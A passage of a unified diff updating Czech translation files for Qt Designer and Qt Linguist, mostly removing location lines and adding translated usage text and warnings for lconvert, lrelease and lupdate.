             Kód XML pro prvek %3 obsahuje chybu na řádku %1, sloupec %2:%4:
     %5
         
         
    -        
             The XML code specified for the widget %1 does not contain any widget elements.
     %2
             Kód XML pro prvek %1 neobsahuje prvky.
     %2
         
         
    -        
             An error has been encountered at line %1 of %2: %3
             Chyba na řádku %1 z %2: %3
         
         
    -        
             Unexpected element <%1> encountered when parsing for <widget> or <ui>
             Na místě očekávaného <prvek>- nebo prvku <ui> byl nalezen <%1>
         
         
    -        
             Unexpected end of file encountered when parsing widgets.
             Při čtení nastavení krabice s prvky se vyskytl předčasný konec souboru.
         
         
    -        
             A widget element could not be found.
             Nepodařilo se najít prvek.
         
    @@ -6287,73 +5259,58 @@ Třída: %2
     
         qdesigner_internal::QtGradientStopsController
         
    -        
             H
             H
         
         
    -        
             S
             S
         
         
    -        
             V
             V
         
         
    -        
    -        
             Hue
             Barevný odstín
         
         
    -        
             Sat
             Sytost
         
         
    -        
             Val
             Hodnota
         
         
    -        
             Saturation
             Sytost
         
         
    -        
             Value
             Hodnota
         
         
    -        
             R
             R
         
         
    -        
             G
             G
         
         
    -        
             B
             B
         
         
    -        
             Red
             Červená
         
         
    -        
             Green
             Zelená
         
         
    -        
             Blue
             Modrá
         
    @@ -6361,27 +5318,22 @@ Třída: %2
     
         qdesigner_internal::RichTextEditorDialog
         
    -        
             Edit text
             Upravit text
         
         
    -        
             &OK
             &OK
         
         
    -        
             &Cancel
             &Zrušit
         
         
    -        
             Rich Text
             Upravovatelný text
         
         
    -        
             Source
             Zdroj
         
    @@ -6389,72 +5341,58 @@ Třída: %2
     
         qdesigner_internal::RichTextEditorToolBar
         
    -        
             Bold
             Tučné
         
         
    -        
             CTRL+B
             CTRL+F
         
         
    -        
             Italic
             Kurzíva
         
         
    -        
             CTRL+I
             CTRL+K
         
         
    -        
             Underline
             Podtržení
         
         
    -        
             CTRL+U
             CTRL+U
         
         
    -        
             Left Align
             Zarovnat k levému okraji
         
         
    -        
             Center
             Zarovnat na střed
         
         
    -        
             Right Align
             Zarovnat k pravému okraji
         
         
    -        
             Justify
             Zarovnat do bloku
         
         
    -        
             Superscript
             Horní index
         
         
    -        
             Subscript
             Dolní index
         
         
    -        
             Insert &Link
             Vložit &odkaz
         
         
    -        
             Insert &Image
             Vložit &obrázek
         
    @@ -6462,17 +5400,14 @@ Třída: %2
     
         qdesigner_internal::ScriptDialog
         
    -        
             Edit script
             Upravit skript
         
         
    -        
             Syntax error
             Chyba ve skladbě
         
         
    -        
             <html>Enter a Qt Script snippet to be executed while loading the form.<br>The widget and its children are accessible via the variables <i>widget</i> and <i>childWidgets</i>, respectively.
             <html>Zadejte kousek Qt skriptu k provedení v průběhu nahrávání formuláře.<br>Prvek a jemu podřízené prvky jsou přístupné prostřednictvím proměnných <i>widget</i> und <i>childWidgets</i>.
         
    @@ -6480,7 +5415,6 @@ Třída: %2
     
         qdesigner_internal::ScriptErrorDialog
         
    -        
             Script errors
             Chyby ve skriptu
         
    @@ -6488,23 +5422,18 @@ Třída: %2
     
         qdesigner_internal::SignalSlotDialog
         
    -        
             There is already a slot with the signature '%1'.
             Již existuje zdířka s podpisem '%1'.
         
         
    -        
             There is already a signal with the signature '%1'.
             Již existuje signál s podpisem '%1'.
         
         
    -        
             %1 - Duplicate Signature
             %1 - Podpis již existuje
         
         
    -        
    -        
             Signals/Slots of %1
             Signály/Zdířky od %1
         
    @@ -6512,12 +5441,10 @@ Třída: %2
     
         qdesigner_internal::SignalSlotEditorPlugin
         
    -        
             Edit Signals/Slots
             Upravit signály/zdířky
         
         
    -        
             F4
             F4
         
    @@ -6525,7 +5452,6 @@ Třída: %2
     
         qdesigner_internal::SignalSlotEditorTool
         
    -        
             Edit Signals/Slots
             Upravit signály/zdířky
         
    @@ -6533,7 +5459,6 @@ Třída: %2
     
         qdesigner_internal::StatusBarTaskMenu
         
    -        
             Remove
             Odstranit
         
    @@ -6541,7 +5466,6 @@ Třída: %2
     
         qdesigner_internal::StringListEditorButton
         
    -        
             Change String List
             Změnit seznamy s řetězci znaků
         
    @@ -6549,38 +5473,30 @@ Třída: %2
     
         qdesigner_internal::StyleSheetEditorDialog
         
    -        
             Edit Style Sheet
             Upravit předlohový list
         
         
    -        
    -        
             Valid Style Sheet
             Platný předlohový list
         
         
    -        
             Invalid Style Sheet
             Neplatný předlohový list
         
         
    -        
             Add Resource...
             Přidat zdroj...
         
         
    -        
             Add Gradient...
             Přidat přechod...
         
         
    -        
             Add Color...
             Přidat barvu...
         
         
    -        
             Add Font...
             Přidat písmo...
         
    @@ -6588,27 +5504,22 @@ Třída: %2
     
         qdesigner_internal::TabOrderEditor
         
    -        
             Start from Here
             Začít znovu odtud
         
         
    -        
             Restart
             Začít znovu
         
         
    -        
             Tab Order List...
             Seznam s pořadím tabulátorů...
         
         
    -        
             Tab Order List
             Seznam s pořadím tabulátorů
         
         
    -        
             Tab Order
             Pořadí tabulátorů
         
    @@ -6616,7 +5527,6 @@ Třída: %2
     
         qdesigner_internal::TabOrderEditorPlugin
         
    -        
             Edit Tab Order
             Upravit pořadí tabulátorů
         
    @@ -6624,7 +5534,6 @@ Třída: %2
     
         qdesigner_internal::TabOrderEditorTool
         
    -        
             Edit Tab Order
             Upravit pořadí tabulátorů
         
    @@ -6632,48 +5541,38 @@ Třída: %2
     
         qdesigner_internal::TableWidgetEditor
         
    -        
             New Column
             Nový sloupec
         
         
    -        
             New Row
             Nový řádek
         
         
    -        
             &Columns
             &Sloupce
         
         
    -        
             &Rows
             &Řádky
         
         
    -        
             Properties &<<
             Vlastnosti &<<
         
         
    -        
    -        
             Properties &>>
             Vlastnosti &>>
         
         
    -        
             Edit Table Widget
             Upravit prvek s tabulkou
         
         
    -        
             &Items
             &Prvky
         
         
    -        
             Table Items
             Prvky tabulek
         
    @@ -6681,7 +5580,6 @@ Třída: %2
     
         qdesigner_internal::TableWidgetTaskMenu
         
    -        
             Edit Items...
             Upravit prvky...
         
    @@ -6689,22 +5587,18 @@ Třída: %2
     
         qdesigner_internal::TemplateOptionsWidget
         
    -        
             Pick a directory to save templates in
             Vyberte adresář pro ukládání předloh
         
         
    -        
             Form
             Formulář
         
         
    -        
             Additional Template Paths
             Dodatečné adresáře pro předlohy
         
         
    -        
             ...
             ...
         
    @@ -6712,22 +5606,18 @@ Třída: %2
     
         qdesigner_internal::TextEditTaskMenu
         
    -        
             Change HTML...
             Změnit HTML...
         
         
    -        
             Edit HTML
             Upravit HTML
         
         
    -        
             Edit Text
             Upravit text
         
         
    -        
             Change Plain Text...
             Změnit prostý text...
         
    @@ -6735,22 +5625,18 @@ Třída: %2
     
         qdesigner_internal::TextEditor
         
    -        
             Choose Resource...
             Vybrat zdroj...
         
         
    -        
             Choose File...
             Vybrat soubor...
         
         
    -        
             Choose a File
             Vybrat soubor
         
         
    -        
             ...
             ...
         
    @@ -6758,27 +5644,22 @@ Třída: %2
     
         qdesigner_internal::ToolBarEventFilter
         
    -        
             Insert Separator
             Vložit oddělovač
         
         
    -        
             Remove action '%1'
             Odstranit činnost '%1'
         
         
    -        
             Remove Toolbar '%1'
             Odstranit nástrojový pruh '%1'
         
         
    -        
             Insert Separator before '%1'
             Vložit oddělovač před '%1'
         
         
    -        
             Append Separator
             Připojit oddělovač
         
    @@ -6786,125 +5667,98 @@ Třída: %2
     
         qdesigner_internal::TreeWidgetEditor
         
    -        
             &Columns
             &Sloupce
         
         
    -        
             Per column properties
             Vlastnosti sloupců
         
         
    -        
             Common properties
             Společné vlastnosti
         
         
    -        
    -        
             New Item
             Nový prvek
         
         
    -        
             Properties &<<
             Vlastnosti &<<
         
         
    -        
    -        
             Properties &>>
             Vlastnosti &>>
         
         
    -        
             New Column
             Nový sloupec
         
         
    -        
             Edit Tree Widget
             Upravit stromový prvek
         
         
    -        
             &Items
             &Prvky
         
         
    -        
             Tree Items
             Stromové prvky
         
         
    -        
    -        
             New Subitem
             Nový podřízený prvek
         
         
    -        
             New &Subitem
             Nový po&dřízený prvek
         
         
    -        
             Delete Item
             Smazat prvek
         
         
    -        
             Move Item Left (before Parent Item)
             Posunout prvek doleva (před nadřízený prvek)
         
         
    -        
             L
             L
         
         
    -        
             Move Item Right (as a First Subitem of the Next Sibling Item)
             Posunout prvek doprava (jako první podřízený prvek dalšího rovnocenného prvku)
         
         
    -        
             R
             R
         
         
    -        
             Move Item Up
             Posunout prvek nahoru
         
         
    -        
             U
             U
         
         
    -        
             Move Item Down
             Posunout prvek dolů
         
         
    -        
             D
             D
         
         
    -        
             1
             1
         
         
    -        
             &New
             &Nový
         
         
    -        
             &Delete
             &Smazat
         
    @@ -6912,7 +5766,6 @@ Třída: %2
     
         qdesigner_internal::TreeWidgetTaskMenu
         
    -        
             Edit Items...
             Upravit prvky...
         
    @@ -6920,7 +5773,6 @@ Třída: %2
     
         qdesigner_internal::WidgetBox
         
    -        
             Warning: Widget creation failed in the widget box. This could be caused by invalid custom widget XML.
             Upozornění: Vytvoření prvku v krabici s prvky se nezdařilo. Mohlo by to být zapříčiněno chybným XML kódem uživatelsky stanoveného prvku.
         
    @@ -6928,42 +5780,34 @@ Třída: %2
     
         qdesigner_internal::WidgetBoxTreeWidget
         
    -        
             Scratchpad
             Skladování
         
         
    -        
             Custom Widgets
             Uživatelsky stanovené prvky
         
         
    -        
             Expand all
             Rozdělat vše
         
         
    -        
             Collapse all
             Složit vše
         
         
    -        
             List View
             Pohled se seznamem
         
         
    -        
             Icon View
             Pohled s ikonami
         
         
    -        
             Remove
             Odstranit
         
         
    -        
             Edit name
             Upravit název
         
    @@ -6971,7 +5815,6 @@ Třída: %2
     
         qdesigner_internal::WidgetDataBase
         
    -        
             A custom widget plugin whose class name (%1) matches that of an existing class has been found.
             Byl nalezen přídavný modul, který obsahuje uživatelsky stanovený prvek, jehož název pro třídu (%1) odpovídá stávající třídě.
         
    @@ -6979,7 +5822,6 @@ Třída: %2
     
         qdesigner_internal::WidgetEditorTool
         
    -        
             Edit Widgets
             Upravit prvky
         
    @@ -6987,33 +5829,27 @@ Třída: %2
     
         qdesigner_internal::WidgetFactory
         
    -        
             The custom widget factory registered for widgets of class %1 returned 0.
             Závod pro uživatelsky stanovené prvky třídy %1 vrátil zpět 0.
         
         
    -        
             A class name mismatch occurred when creating a widget using the custom widget factory registered for widgets of class %1. It returned a widget of class %2.
             Při vytváření prvku byly zjištěny odporující si názvy tříd: Závod pro uživatelsky stanovené prvky třídy %1 vrátil zpět prvek třídy %2.
         
         
    -        
             The current page of the container '%1' (%2) could not be determined while creating a layout.This indicates an inconsistency in the ui-file, probably a layout being constructed on a container widget.
             Při vytváření rozvržení se nepodařilo určit nynější stránku kontejneru '%1' (%2). To naznačuje jistou nesrovnalost v souboru s rozhraním; pravděpodobně bylo rozvržení postaveno přímo na prvku kontejneru.
         
         
    -        
             Attempt to add a layout to a widget '%1' (%2) which already has an unmanaged layout of type %3.
     This indicates an inconsistency in the ui-file.
             Pokus o přidání rozvržení na prvek '%1' (%2), který již má nespravované rozvržení typu %3. To naznačuje jistou nesrovnalost v souboru s rozhraním.
         
         
    -        
             Cannot create style '%1'.
             Nepodařilo se vytvořit styl '%1'.
         
         
    -        
             %1 Widget
             %1 prvek
         
    @@ -7021,12 +5857,10 @@ This indicates an inconsistency in the ui-file.
     
         qdesigner_internal::WizardContainerWidgetTaskMenu
         
    -        
             Next
             Další
         
         
    -        
             Back
             Zpět
         
    @@ -7034,7 +5868,6 @@ This indicates an inconsistency in the ui-file.
     
         qdesigner_internal::ZoomMenu
         
    -        
             %1 %
             Zoom factor
             %1 %
    @@ -7043,7 +5876,6 @@ This indicates an inconsistency in the ui-file.
     
         qdesigner_internal::ZoomablePreviewDeviceSkin
         
    -        
             &Zoom
             &Zvětšit
         
    diff --git a/translations/linguist_cs.ts b/translations/linguist_cs.ts
    old mode 100644
    new mode 100755
    index 32905c9..5023355
    --- a/translations/linguist_cs.ts
    +++ b/translations/linguist_cs.ts
    @@ -4,7 +4,6 @@
     
         AboutDialog
         
    -        
             Qt Linguist
             Qt Linguist
         
    @@ -12,27 +11,22 @@
     
         BatchTranslationDialog
         
    -        
             Batch Translation of '%1' - Qt Linguist
             Automatický překlad '%1' - Qt Linguist
         
         
    -        
             Searching, please wait...
             Hledá se, čekejte, prosím...
         
         
    -        
             &Cancel
             &Zrušit
         
         
    -        
             Linguist batch translator
             Automatický překladatel (Linguist)
         
         
    -        
             Batch translated %n entries
             
                 1 záznam byl automaticky přeložen
    @@ -41,62 +35,50 @@
             
         
         
    -        
             Qt Linguist - Batch Translation
             Qt Linguist - Automatický překlad
         
         
    -        
             Options
             Volby
         
         
    -        
             Set translated entries to finished
             Označit přeložené záznamy jako hotové
         
         
    -        
             Retranslate entries with existing translation
             Znovu přeložit záznamy s již existujícím překladem
         
         
    -        
             Translate also finished entries
             Přeložit i hotové záznamy
         
         
    -        
             Phrase book preference
             Slovníky
         
         
    -        
             Move up
             Posunout nahoru
         
         
    -        
             Move down
             Posunout dolů
         
         
    -        
             &Run
             &Provést
         
         
    -        
             Cancel
             Zrušit
         
         
    -        
             Note that the modified entries will be reset to unfinished if 'Set translated entries to finished' above is unchecked
             Všimněte si, že změněné záznamy budou znovu nastaveny na nevyřízené, pokud není zapnuto nahoře zmíněné nastavení 'Označit přeložené záznamy jako hotové'
         
         
    -        
             The batch translator will search through the selected phrase books in the order given above
             Automatický překladatel bude prohledávat vybrané slovníky v pořadí uvedeném výše
         
    @@ -104,39 +86,40 @@
     
         DataModel
         
    -        
    +        The translation file '%1' will not be loaded because it is empty.
    +        Soubor s překladem '%1'nebude nahrán, protože je prázdný.
    +    
    +    
             <qt>Duplicate messages found in '%1':
             <qt>Vícekrát existující hlášení v '%1':
         
         
    -        
             <p>[more duplicates omitted]
             <p>[vypuštěny další vícekrát existující zprávy]
         
         
    -        
    +        <p>* ID: %1
    +        <p>* ID: %1
    +    
    +    
             <p>* Context: %1<br>* Source: %2
             <p>* Souvislosti: %1<br>* Zdroj: %2
         
         
    -        
             <br>* Comment: %3
             <br>* Poznámka: %3
         
         
    -        
             Linguist does not know the plural rules for '%1'.
     Will assume a single universal form.
             Pravidla pro tvoření množného čísla (plurálu) jazyka '%1' nejsou v Linguistu stanovena.
     Pracuje se s jednoduchým všeobecným tvarem.
         
         
    -        
             Cannot create '%2': %1
             '%2' nemůže být vytvořen: %1
         
         
    -        
             Universal Form
             Všeobecný tvar
         
    @@ -144,37 +127,30 @@ Pracuje se s jednoduchým všeobecným tvarem.
     
         ErrorsView
         
    -        
             Accelerator possibly superfluous in translation.
             V textu překladu je možná přebytečný akcelerátor.
         
         
    -        
             Accelerator possibly missing in translation.
             V textu překladu možná chybí akcelerátor.
         
         
    -        
             Translation does not end with the same punctuation as the source text.
             Interpunkční znaménko na konci textu překladu se liší od interpunkce zdrojového textu.
         
         
    -        
             A phrase book suggestion for '%1' was ignored.
             Na návrh slovníku pro '%1' nebyl brán zřetel.
         
         
    -        
             Translation does not refer to the same place markers as in the source text.
             Držitelé místa v textu překladu a ve zdrojovém textu se liší.
         
         
    -        
             Translation does not contain the necessary %n place marker.
             Potřebný držitel místa (%n) v překladu chybí.
         
         
    -        
             Unknown error
             Neznámá chyba
         
    @@ -182,97 +158,78 @@ Pracuje se s jednoduchým všeobecným tvarem.
     
         FindDialog
         
    -        
             This window allows you to search for some text in the translation source file.
             Toto okno vám umožňuje hledání textu ve zdrojovém souboru s překladem.
         
         
    -        
             Type in the text to search for.
             Zadejte text, který se má hledat.
         
         
    -        
             Options
             Volby
         
         
    -        
             Source texts are searched when checked.
             Když je zapnuto, hledá se ve zdrojových textech.
         
         
    -        
             Translations are searched when checked.
             Když je zapnuto, hledá se v překladech.
         
         
    -        
             Texts such as 'TeX' and 'tex' are considered as different when checked.
             Když je zapnuto, texty jako 'TeX' a 'tex' se považují za rozdílné.
         
         
    -        
             Comments and contexts are searched when checked.
             Když je zapnuto, prohledávají se poznámky a souvislosti.
         
         
    -        
             Find
             Hledat
         
         
    -        
             &Find what:
             &Vzor hledání:
         
         
    -        
             &Source texts
             &Zdrojové texty
         
         
    -        
             &Translations
             &Překlady
         
         
    -        
             &Match case
             &Dbát na psaní velkých a malých písmen
         
         
    -        
             &Comments
             &Poznámky
         
         
    -        
             Ignore &accelerators
             Nedbat na &akcelerátory
         
         
    -        
             Click here to find the next occurrence of the text you typed in.
             Klepněte sem pro skok k dalšímu výskytu hledáného textu.
         
         
    -        
             Find Next
             Hledat dál
         
         
    -        
             Click here to close this window.
             Klepněte sem pro zavření tohoto okna.
         
         
    -        
             Cancel
             Zrušit
         
         
    -        
             
             Choose Edit|Find from the menu bar or press Ctrl+F to pop up the Find dialog
             
    @@ -281,38 +238,212 @@ Pracuje se s jednoduchým všeobecným tvarem.
     
         FormMultiWidget
         
    -        
             Alt+Delete
             translate, but don't change
             Alt+Delete
         
         
    -        
             Shift+Alt+Insert
             translate, but don't change
             Shift+Alt+Insert
         
         
    -        
             Alt+Insert
             translate, but don't change
             Alt+Insert
         
         
    -        
             Confirmation - Qt Linguist
             Potvrzení - Qt Linguist
         
         
    -        
             Delete non-empty length variant?
             Smazat vyplněnou obměnu délky?
         
     
     
    +    LConvert
    +    
    +        
    +Usage:
    +    lconvert [options] <infile> [<infile>...]
    +
    +lconvert is part of Qt's Linguist tool chain. It can be used as a
    +stand-alone tool to convert and filter translation data files.
    +The following file formats are supported:
    +
    +%1
    +If multiple input files are specified, they are merged with
    +translations from later files taking precedence.
    +
    +Options:
    +    -h
    +    --help  Display this information and exit.
    +
    +    -i <infile>
    +    --input-file <infile>
    +           Specify input file. Use if <infile> might start with a dash.
    +           This option can be used several times to merge inputs.
    +           May be '-' (standard input) for use in a pipe.
    +
    +    -o <outfile>
    +    --output-file <outfile>
    +           Specify output file. Default is '-' (standard output).
    +
    +    -if <informat>
    +    --input-format <format>
    +           Specify input format for subsequent <infile>s.
    +           The format is auto-detected from the file name and defaults to 'ts'.
    +
    +    -of <outformat>
    +    --output-format <outformat>
    +           Specify output format. See -if.
    +
    +    --input-codec <codec>
    +           Specify encoding for QM and PO input files. Default is 'Latin1'
    +           for QM and 'UTF-8' for PO files. UTF-8 is always tried as well for
    +           QM, corresponding to the possible use of the trUtf8() function.
    +
    +    --output-codec <codec>
    +           Specify encoding for PO output files. Default is 'UTF-8'.
    +
    +    --drop-tags <regexp>
    +           Drop named extra tags when writing TS or XLIFF files.
    +           May be specified repeatedly.
    +
    +    --drop-translations
    +           Drop existing translations and reset the status to 'unfinished'.
    +           Note: this implies --no-obsolete.
    +
    +    --source-language <language>[_<region>]
    +           Specify/override the language of the source strings. Defaults to
    +           POSIX if not specified and the file does not name it yet.
    +
    +    --target-language <language>[_<region>]
    +           Specify/override the language of the translation.
    +           The target language is guessed from the file name if this option
    +           is not specified and the file contents name no language yet.
    +
    +    --no-obsolete
    +           Drop obsolete messages.
    +
    +    --no-finished
    +           Drop finished messages.
    +
    +    --sort-contexts
    +           Sort contexts in output TS file alphabetically.
    +
    +    --locations {absolute|relative|none}
    +           Override how source code references are saved in TS files.
    +           Default is absolute.
    +
    +    --no-ui-lines
    +           Drop line numbers from references to UI files.
    +
    +    --verbose
    +           be a bit more verbose
    +
    +Long options can be specified with only one leading dash, too.
    +
    +Return value:
    +    0 on success
    +    1 on command line parse failures
    +    2 on read failures
    +    3 on write failures
    +
    +        
    +Použití:
    +    lconvert [volby] <infile> [<infile>...]
    +
    +lconvert je částí řetězce nástrojů pro Qt Linguist. Lze jej používat jako samostatný
    +nástroj na převádění a filtrování souborů s daty překladů.
    +Jsou podporovány následující formáty souborů:
    +
    +%1
    +Pokud je zadáno více vstupních souborů, jsou sloučeny s překlady
    +z pozdějších souborů maje přednost.
    +
    +Volby:
    +    -h
    +    --help  Zobrazit tuto informaci a ukončit.
    +
    +    -i <infile>
    +    --input-file <infile>
    +           Zadejte vstupní soubor. Použijte, pokud <infile> může začít čárkou.
    +           Tuto volbu lze použít několikrát ke sloučení vstupů.
    +           Může být '-' (běžný vstup) pro použití v rouře.
    +
    +    -o <outfile>
    +    --output-file <outfile>
    +           Zadejte výstupní soubor. Výchozí je '-' (běžný vstup).
    +
    +    -if <informat>
    +    --input-format <format>
    +           Zadejte vstupní soubor pro subsequent <infile>s.
    +           Formát je určen automaticky z názvu souboru a je výchozí pro 'ts'.
    +
    +    -of <outformat>
    +    --output-format <outformat>
    +           Zadejte výstupní soubor. Viz -if.
    +
    +    --input-codec <codec>
    +           Zadat kódování pro vstupní soubory QM a PO. Výchozí je 'Latin1'
    +           pro QM a 'UTF-8' pro PO files. UTF-8 se vždy zkouší i pro
    +           QM, odpovídá možnému užití funkce trUtf8().
    +
    +    --output-codec <codec>
    +           Zadejte kódování pro výstupní soubory PO. Výchozí je 'UTF-8'.
    +
    +    --drop-tags <regexp>
    +           Smazat pojmenované značky navíc při zápisu souboru TS nebo XLIFF.
    +           Může být zadáno opakovaně.
    +
    +    --drop-translations
    +           Smazat stávající překlady a stav nastavit na 'unfinished'.
    +           Poznámka: toto znamená --no-obsolete.
    +
    +    --source-language <language>[_<region>]
    +           Zadat/Přepsat jazyk zdrojových řetězců. Výchozí pro
    +           POSIX pokud není zadán a soubor jej ještě nejmenuje.
    +
    +    --target-language <language>[_<region>]
    +           Zadat/Přepsat jazyk překladu.
    +           Cílový jazyk je odhadnut z názvu souboru, pokud není tato volba zadána
    +           a soubor ještě neobsahuje název jazyka.
    +
    +    --no-obsolete
    +           Smazat zastaralé zprávy.
    +
    +    --no-finished
    +           Smazat dokončené zprávy.
    +
    +    --sort-contexts
    +           Řadit souvislosti ve výstupním souboru TS abecedně.
    +
    +    --locations {absolute|relative|none}
    +           {absolutní|relativní|žádné}
    +           Přepsat, jak jsou odkazy na zdrojový kód v souborech TS ukládány.
    +           Výchozí je absolutní.
    +
    +    --no-ui-lines
    +           Smazat čísla řádků z odkazů do souborů UI.
    +
    +    --verbose
    +           Být trochu podrobnější
    +
    +Dlouhé volby lze také zadat jen s jednou čárkou na začátku.
    +
    +Návratová hodnota:
    +    0 při úspěchu
    +    1 při chybách ve zpracování v příkazovém řádku
    +    2 při chybách ve čtení
    +    3 při chybách v zápisu
    +
    +    
    +
    +
         LRelease
         
    -        
             Dropped %n message(s) which had no ID.
             
                 Byl smazán záznam bez identifikátoru.
    @@ -321,7 +452,6 @@ Pracuje se s jednoduchým všeobecným tvarem.
             
         
         
    -        
             Excess context/disambiguation dropped from %n message(s).
             
                 U jednoho záznamu byla odstraněna přebytečná souvislost případně přebytečné zabránění dvojznačnosti (přebytečná informace k rozhodování).
    @@ -330,10 +460,25 @@ Pracuje se s jednoduchým všeobecným tvarem.
             
         
         
    -        
    +            Generated %n translation(s) (%1 finished and %2 unfinished)
    +        
    +                Vytvořen jeden překlad (%1 dokončeno a %2 nedokončeno)
    +                Vytvořeny %n překlady (%1 dokončeno a %2 nedokončeno)
    +                Vytvořeno %n překladů (%1 dokončeno a %2 nedokončeno)
    +        
    +    
    +    
    +            Ignored %n untranslated source text(s)
    +        
    +                Opomenut jeden nepřeložený zdrojový text
    +                Opomenuty %n nepřeložené zdrojové texty
    +                Opomenuto %n nepřeložených zdrojových textů
    +        
    +    
    +    
                 Generated %n translation(s) (%1 finished and %2 unfinished)
     
    -        
    +        
                     Byl vytvořen jeden překlad (%1 dokončeno %2 nedokončeno)
     
                     Byly vytvořeny %n překlady (%1 dokončeno %2 nedokončeno)
    @@ -343,10 +488,9 @@ Pracuje se s jednoduchým všeobecným tvarem.
             
         
         
    -        
                 Ignored %n untranslated source text(s)
     
    -        
    +        
                     Na jeden nepřeložený text nebyl brán zřetel
     
                     na %n nepřeložené texty nebyl brán zřetel
    @@ -355,637 +499,1246 @@ Pracuje se s jednoduchým všeobecným tvarem.
     
             
         
    +    
    +        Usage:
    +    lrelease [options] project-file
    +    lrelease [options] ts-files [-qm qm-file]
    +
    +lrelease is part of Qt's Linguist tool chain. It can be used as a
    +stand-alone tool to convert XML-based translations files in the TS
    +format into the 'compiled' QM format used by QTranslator objects.
    +
    +Options:
    +    -help  Display this information and exit
    +    -idbased
    +           Use IDs instead of source strings for message keying
    +    -compress
    +           Compress the QM files
    +    -nounfinished
    +           Do not include unfinished translations
    +    -removeidentical
    +           If the translated text is the same as
    +           the source text, do not include the message
    +    -markuntranslated <prefix>
    +           If a message has no real translation, use the source text
    +           prefixed with the given string instead
    +    -silent
    +           Do not explain what is being done
    +    -version
    +           Display the version of lrelease and exit
    +
    +        Použití:
    +    lrelease [volby] projektový-soubor
    +    lrelease [volby] ts-soubory [-qm qm-soubor]
    +
    +lrelease je částí řetězce nástrojů pro Qt Linguist. Lze jej používat jako samostatný
    +nástroj na převádění na XML založených překladových souborů ve formátu TS
    +do 'sestaveného' formátu QM používaného objekty QTranslator.
    +
    +Volby:
    +    -help  Zobrazit tuto informaci a ukončit
    +    -idbased
    +           Použít ID namísto zdrojových řetězců pro klíčování zpráv
    +    -compress
    +           Zkomprimovat soubory QM
    +    -nounfinished
    +           Nezahrnovat nedokončené překlady
    +    -removeidentical
    +           Pokud je přeložený text stejný jako zdrojový text,
    +           zprávu nezahrnovat
    +    -markuntranslated <prefix>
    +           Pokud překlad nemá skutečný překlad, použít namísto něj
    +           zdrojový text předeslaný zadaným řetězcem
    +    -silent
    +           Nevysvětlovat, co se dělá
    +    -version
    +           Zobrazit verzi lrelease a ukončit
    +
    +    
    +    
    +        lrelease error: %1
    +        Chyba při lrelease: %1
    +    
    +    
    +        Updating '%1'...
    +
    +        Obnovuje se '%1'...
    +
    +    
    +    
    +        Removing translations equal to source text in '%1'...
    +
    +        Odstraňují se překlady totožné se zdrojovým textem v '%1'...
    +    
    +    
    +        lrelease error: cannot create '%1': %2
    +
    +        Chyba při lrelease: nelze vytvořit '%1': %2
    +
    +    
    +    
    +        lrelease error: cannot save '%1': %2
    +        Chyba při lrelease: nelze uložit '%1': %2
    +
    +    
    +    
    +        lrelease version %1
    +
    +        Verze lrelease %1
    +
    +    
    +    
    +        lrelease error: cannot read project file '%1'.
    +
    +        Chyba při lrelease: nelze přečíst soubor s projektem '%1'.
    +
    +    
    +    
    +        lrelease error: cannot process project file '%1'.
    +
    +        Chyba při lrelease: nelze zpracovat soubor s projektem '%1'.
    +
    +    
    +    
    +        lrelease warning: Met no 'TRANSLATIONS' entry in project file '%1'
    +
    +        Varování lrelease: V souboru s projektem '%1' nebyly nalezeny žádné záznamy s 'PŘEKLADY'
    +
    +    
    +
    +
    +    LUpdate
    +    
    +        Parenthesis/bracket/brace mismatch between #if and #else branches; using #if branch
    +
    +        Neshoda v závorkách/kulatých závorkách/složených závorkách mezi větvemi #if a #else; používá se větev #if
    +    
    +    
    +        Parenthesis/brace mismatch between #if and #else branches; using #if branch
    +
    +        Neshoda v závorkách/složených závorkách mezi větvemi #if a #else; používá se větev #if
    +    
    +    
    +        Unterminated C++ comment
    +
    +        Neskončená poznámka C++
    +
    +    
    +    
    +        Unterminated C++ string
    +
    +        Neskončený řetězec C++
    +
    +    
    +    
    +        Excess closing brace in C++ code (or abuse of the C++ preprocessor)
    +
    +        Příliš mnoho zavírajících složených závorek v kódu C++ (nebo nesprávné použití preprocesoru C++)
    +
    +    
    +    
    +        Excess closing parenthesis in C++ code (or abuse of the C++ preprocessor)
    +
    +        Příliš mnoho zavírajících závorek v kódu C++ (nebo nesprávné použití preprocesoru C++)
    +
    +    
    +    
    +        Excess closing bracket in C++ code (or abuse of the C++ preprocessor)
    +
    +        Příliš mnoho zavírajících kulatých závorek v kódu C++ (nebo nesprávné použití preprocesoru C++)
    +
    +    
    +    
    +        circular inclusion of %1
    +
    +        Kruhové zařazení %1
    +
    +    
    +    
    +        Cannot open %1: %2
    +
    +        Nelze otevřít %1: %2
    +
    +    
    +    
    +        //% cannot be used with tr() / QT_TR_NOOP(). Ignoring
    +
    +        //% nelze použít s tr() / QT_TR_NOOP(). Přehlíží se
    +
    +    
    +    
    +        Qualifying with unknown namespace/class %1::%2
    +
    +        Blíže se vymezuje s neznámým jmenným prostorem/třídou %1::%2
    +
    +    
    +    
    +        tr() cannot be called without context
    +
    +        tr() nelze volat bez souvislosti
    +
    +    
    +    
    +        Class '%1' lacks Q_OBJECT macro
    +
    +        Třída '%1' postrádá makro Q_OBJECT
    +
    +    
    +    
    +        It is not recommended to call tr() from within a constructor '%1::%2'
    +
    +        Nedoporučuje se volat tr() zevnitř stavitele '%1::%2'
    +
    +    
    +    
    +        //% cannot be used with translate() / QT_TRANSLATE_NOOP(). Ignoring
    +
    +        //% nelze použít s translate() / QT_TRANSLATE_NOOP(). Přehlíží se
    +
    +    
    +    
    +        //= cannot be used with qtTrId() / QT_TRID_NOOP(). Ignoring
    +
    +        //= nelze použít s qtTrId() / QT_TRID_NOOP(). Přehlíží se
    +
    +    
    +    
    +        Unexpected character in meta string
    +
    +        Neočekávaný znak v meta řetězci
    +
    +    
    +    
    +        Unterminated meta string
    +
    +        Neskončený meta řetězec
    +
    +    
    +    
    +        Cannot invoke tr() like this
    +
    +        Nelze uplatnit tr() jako je tento
    +
    +    
    +    
    +        Discarding unconsumed meta data
    +
    +        Vyřazují se nestrávená metadata
    +
    +    
    +    
    +        Unbalanced opening brace in C++ code (or abuse of the C++ preprocessor)
    +
    +        Nevyvážené otevírající složené závorky v kódu C++ (nebo nesprávné použití preprocesoru C++)
    +
    +    
    +    
    +        Unbalanced opening parenthesis in C++ code (or abuse of the C++ preprocessor)
    +
    +        Nevyvážené otevírající závorky v kódu C++ (nebo nesprávné použití preprocesoru C++)
    +
    +    
    +    
    +        Unbalanced opening bracket in C++ code (or abuse of the C++ preprocessor)
    +
    +        Nevyvážené otevírající kulaté závorky v kódu C++ (nebo nesprávné použití preprocesoru C++)
    +
    +    
    +    
